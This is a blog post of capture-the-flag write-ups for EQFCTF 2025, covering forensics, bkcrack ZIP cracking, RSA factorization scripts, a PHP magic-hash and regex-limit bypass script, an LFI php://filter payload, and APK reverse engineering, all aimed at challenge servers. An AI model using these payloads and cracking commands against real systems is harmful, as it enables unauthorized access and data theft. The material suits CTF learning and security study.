EQFCTF 2025

Lee Wei Xuan Lv1

Misc

Join Our Discord

  • Just join the discord and there is the flag on the annoucment channel RVFDVEZ7VzNsQzBtM19UMF9FcXVpbGlicml1bV9EMXNjMHJkfQ==
    cyberchef it and get the flag EQCTF{W3lC0m3_T0_Equilibrium_D1sc0rd}

Forensic

Velociraptor

  1. Download the attach file
  2. VeLoCiraptor\C\Users\kelvin\AppData\Roaming\Microsoft\Windows\Recent
    • We can found some hash on this page with the file name RVFDVEZ7MXRzX3IzNExseV9o and MG1ldzBya190UnVTdF9tMyF9
      image
  3. Then just cyberchef it.

Kuih Lapis

  1. Download the poem.pdf file
  2. Throw it into pdf inspect website and we will see all the details in this page
    image
  3. And we can see the details and flag at here image

Lost Password

  1. Download the zip file.
  2. We can see inside have cloud_password.txt and a index.html file. image
  3. With the use of BKCrack, we can use known plaintext attack on pkzip
  4. Next find the common bytes in the index.html file(why html file? as we dont know the starters of the cloud_password.txt) image.
  5. Save those code in a file call bin
  6. Then bkcrack -C html.zip -c "index.html" -p bin
  7. After getting the key, Continue to crack it
  8. bkcrack -C html.zip -k 1d63e85a b3b66126 33619315 -U bkbk.zip 1234

1d63e85a b3b66126 33619315 is the key, and 1234 is the password we set.
9. then unzip the zip file bkbk.zip with pass 1234.
10. Thats it the flag here
flag

Crypto

Neighbour RSA

  1. Download the file, then see the rsa encrypted code
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    from Crypto.Util.number import inverse, long_to_bytes
    from gmpy2 import isqrt, mpz
    def fermat_factorization(N):
    a = isqrt(N) + 1
    b2 = a * a - N
    while not is_square(b2):
    a += 1
    b2 = a * a - N
    b = isqrt(b2)
    return a - b, a + b

    def is_square(n):
    return isqrt(n) ** 2 == n

    # Given values
    N = 14587704432822344892341272427282646120364434437414523883376089608218979364959927948590898540264210246449374363014541914863792835772986609660515612532877044074684115597786182642011407163350289201826895454398548254854919237599957739718174053771619150887665707867636064460914489445835497948439951659044458159773886454887057327846897569977945202458245268351728125973721764332352011029125694046428350269451464778793326007087955043888570293765138721335344787054343738337660927131968049415376352589981259058448540690666004751490375493430556965591293772542601776934892741235532054785639594081598607404023545471998403197674267
    e = 65537
    C = 7329184746351979600304810893726842767688467204256990201181172159445966473650977905122553415838916142690364388789400790015517642902297387406215773278164829517035052625373870964570981590734714495297149889660019174034119566329569798047522829383224123884562703447321306836996392334132844673471179765556339187200820259655159008340673516040862000226792914228312336356120448967504158288031247387263438925257977725844911872753683719735641011693324441777888582417108481882731436005780409094974241968759397096299213838515746566064813787517925040756180508206242396925444425306180593790729890681708626826056328684043890127100581

    # Step 1: Factorize N
    p, q = fermat_factorization(N)
    print(f"p = {p}")
    print(f"q = {q}")

    # Step 2: Compute the private key d
    phi = (p - 1) * (q - 1)
    d = inverse(e, phi)
    print(f"d = {d}")

    # Step 3: Decrypt the ciphertext C
    plaintext = pow(C, d, N)
    print(f"Plaintext (as long): {plaintext}")

    # Step 4: Convert the plaintext to bytes
    flag = long_to_bytes(plaintext)
    print(f"Flag: {flag.decode()}")
  2. Then decrypt it!
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    from Crypto.Util.number import inverse, long_to_bytes
    from gmpy2 import isqrt, mpz
    def fermat_factorization(N):
    a = isqrt(N) + 1
    b2 = a * a - N
    while not is_square(b2):
    a += 1
    b2 = a * a - N
    b = isqrt(b2)
    return a - b, a + b

    def is_square(n):
    return isqrt(n) ** 2 == n

    # Given values
    N = 14587704432822344892341272427282646120364434437414523883376089608218979364959927948590898540264210246449374363014541914863792835772986609660515612532877044074684115597786182642011407163350289201826895454398548254854919237599957739718174053771619150887665707867636064460914489445835497948439951659044458159773886454887057327846897569977945202458245268351728125973721764332352011029125694046428350269451464778793326007087955043888570293765138721335344787054343738337660927131968049415376352589981259058448540690666004751490375493430556965591293772542601776934892741235532054785639594081598607404023545471998403197674267
    e = 65537
    C = 7329184746351979600304810893726842767688467204256990201181172159445966473650977905122553415838916142690364388789400790015517642902297387406215773278164829517035052625373870964570981590734714495297149889660019174034119566329569798047522829383224123884562703447321306836996392334132844673471179765556339187200820259655159008340673516040862000226792914228312336356120448967504158288031247387263438925257977725844911872753683719735641011693324441777888582417108481882731436005780409094974241968759397096299213838515746566064813787517925040756180508206242396925444425306180593790729890681708626826056328684043890127100581

    # Step 1: Factorize N
    p, q = fermat_factorization(N)
    print(f"p = {p}")
    print(f"q = {q}")

    # Step 2: Compute the private key d
    phi = (p - 1) * (q - 1)
    d = inverse(e, phi)
    print(f"d = {d}")

    # Step 3: Decrypt the ciphertext C
    plaintext = pow(C, d, N)
    print(f"Plaintext (as long): {plaintext}")

    # Step 4: Convert the plaintext to bytes
    flag = long_to_bytes(plaintext)
    print(f"Flag: {flag.decode()}")</p>
  3. and here is it the flag

Neighbour RSA_2

  1. Here is the original code provided
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    from Crypto.Util.number import *
    from gmpy2 import prev_prime as next_prime
    import secrets

    flag = b"EQCTF{<REDACTED>}"
    a = bytes_to_long(secrets.token_bytes(100))

    p = getPrime(1024)
    q = next_prime(a+p)

    N = int(p*q)
    e = 65537
    f = int(q+a-p)

    C = pow(bytes_to_long(flag),e,N)

    print(f"{N=}")
    print(f"{e=}")
    print(f"{C=}")
    print(f"{f=}")

    # N=10986069679740899320769487987259965136338163538313920951921558170716399011131571749355967327929782757252961432250665732844670832757630969990974354211674665217879301194915967815961901955331119097862220567741900953344002421010199387139438258915388299120537312319419560196095221842536034797857570594271497968571543268632342368822758109031157038270115475046299925831141039892806064466450571546834222025788616070408548026473179492912530200671560292851465500255213172920644302815477881129226831758156389887396481079039150256181152083078507883863985140189407376955776873853730599843478872399976242973508423433618152961348309
    # e=65537
    # C=2195468989281538327484120144714886786222108443822386213335264431639447179575013802497596322014889540032797783666693430103844035492180467143334243466603968944829680836129211979667061913058333561267630828758422011805278536599370681276716534375047691415305153173304117404635308274845621779917651565487097467077938208235595083835638297185421167329868537607503750906624903899336968072524704962983010525959106240384416922803445710408493786560172567404469778095227805268385869729463091111594408973206573286013513443234182105724723290297083787222131780636442462497223002541517291130831271935451970740180808267897428166746499
    # f=4203301120017181153512192371191327436380286582036247438379481982220240276670686609670968370331071343886281566516951351186472802979725501149166852576293749655990806367361286991990410689444889766967820170478115967009340001288791419622177173652
  2. Decrypt it
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    from Crypto.Util.number import long_to_bytes, inverse
    from gmpy2 import isqrt

    # Given values
    N = 10986069679740899320769487987259965136338163538313920951921558170716399011131571749355967327929782757252961432250665732844670832757630969990974354211674665217879301194915967815961901955331119097862220567741900953344002421010199387139438258915388299120537312319419560196095221842536034797857570594271497968571543268632342368822758109031157038270115475046299925831141039892806064466450571546834222025788616070408548026473179492912530200671560292851465500255213172920644302815477881129226831758156389887396481079039150256181152083078507883863985140189407376955776873853730599843478872399976242973508423433618152961348309
    e = 65537
    C = 2195468989281538327484120144714886786222108443822386213335264431639447179575013802497596322014889540032797783666693430103844035492180467143334243466603968944829680836129211979667061913058333561267630828758422011805278536599370681276716534375047691415305153173304117404635308274845621779917651565487097467077938208235595083835638297185421167329868537607503750906624903899336968072524704962983010525959106240384416922803445710408493786560172567404469778095227805268385869729463091111594408973206573286013513443234182105724723290297083787222131780636442462497223002541517291130831271935451970740180808267897428166746499
    f = 4203301120017181153512192371191327436380286582036247438379481982220240276670686609670968370331071343886281566516951351186472802979725501149166852576293749655990806367361286991990410689444889766967820170478115967009340001288791419622177173652

    # Approximate a
    a_approx = f // 2

    # Define a small range around a_approx
    range_size = 1000 # Adjust this range as needed

    # Iterate over the range
    for delta in range(-range_size, range_size + 1):
    a = a_approx + delta

    # Solve the quadratic equation: p^2 + (f - a) * p - N = 0
    A = 1
    B = f - a
    C_eq = -N

    # Discriminant
    discriminant = B**2 - 4 * A * C_eq

    # Check if discriminant is a perfect square
    if discriminant >= 0:
    sqrt_discriminant = isqrt(discriminant)
    if sqrt_discriminant * sqrt_discriminant == discriminant:
    # Solve for p
    p_candidate = (-B + sqrt_discriminant) // (2 * A)

    # Check if p_candidate is a factor of N
    if N % p_candidate == 0:
    p = p_candidate
    q = N // p
    print(f"Found p and q:")
    print(f"p = {p}")
    print(f"q = {q}")

    # Compute phi(N)
    phi = (p - 1) * (q - 1)

    # Compute the private key d
    d = inverse(e, phi)

    # Decrypt the ciphertext
    plaintext = pow(C, d, N)

    # Convert the plaintext to bytes
    flag = long_to_bytes(plaintext)
    print(f"Flag: {flag.decode()}")
    break
    else:
    continue
    else:
    print("Failed to factorize N.")
  3. Anddd there you go the flag

WEB

EggSecret

  1. First download the file attached and lets see whats inside.

  2. We can see that there is a secret hash at there 00e39786989574093743872279278460 also there is something we need to bypass (preg_match("/^(.*?)+$/s", $egg))

  3. 1
    2
    3
    4
    5
    6
    import requests
    url = "http://135.181.88.229:31730/"
    params = {"eggSecret": "240610708"} # String with MD5 hash starting with "0e"
    data = {"egg": "A" * 10000} # Very large input to bypass the regex
    response = requests.post(url, params=params, data=data)
    print(response.text)
  4. and we can get the flag content.

KingsBrew

  1. First we get into the website using the host and port given.
  2. According to the hint it should be something menu as when you press {drink and flag!} it jump out menu.php.
  3. After we test, LFI is usable in this case
  4. http://135.181.88.229:35206/?page=php://filter/convert.base64-encode/resource=menu.php
  5. This is one of LFI payloads of PHP filters to read menu.php without executing PHP and decode the base 64 by ourself using cyberchef.

Mobile

Who’s that pukimon

  1. Download the APK Andorid files and open it in a android emulator(Im using andorid studio)
  2. We can see that this is a game that we need to guess who is this Pokemon (pukimon)
    gueessss
  3. With the use of jadx-gui
  4. We can see that the main activity files is mainactivity
    main
  5. Find it out at (source/io.eqctf.pukimon/MainActivitykt)
  6. hey
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
        /* JADX INFO: Access modifiers changed from: private */
    public static final Unit a$lambda$11$lambda$10(Context yeet, MutableState a$delegate) {
    Intrinsics.checkNotNullParameter(yeet, "$yeet");
    Intrinsics.checkNotNullParameter(a$delegate, "$a$delegate");
    if (a(a$lambda$6(a$delegate))) {
    Toast.makeText(yeet, "It's " + a$lambda$6(a$delegate), 0).show();
    byte[] decode = Base64.decode("AEUAUQBDAFQARgB7ADEAVABzAF8AUwBoAHIAMABvAE0AcgAxAHMASABpAEUAIQAhACEAIQB9", 0);
    Intrinsics.checkNotNullExpressionValue(decode, "decode(...)");
    Log.d("Flag", "Congratz on guessing the pokemon: ".concat(new String(decode, Charsets.UTF_8)));
    } else {
    Toast.makeText(yeet, "It's not " + a$lambda$6(a$delegate), 0).show();
    }
    return Unit.INSTANCE;
    }
    }
  7. Decode AEUAUQBDAFQARgB7ADEAVABzAF8AUwBoAHIAMABvAE0AcgAxAHMASABpAEUAIQAhACEAIQB9 with cyberchef and we can get the flag EQCTF{1Ts_Shr0oMr1sHiE!!!!}

Capture that Pukimon

  1. With the use of http toolkit, we can intercept the data from the firebase
    shrommie
  2. And thats the flag EQCTF{Int3RcEpT_da_Tr3FfiC}”
  • Title: EQFCTF 2025
  • Author: Lee Wei Xuan
  • Created at : 2025-01-18 14:18:36
  • Updated at : 2025-03-11 21:36:28
  • Link: https://redefine.ohevan.com/2025/01/18/EQFCTF-2025/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments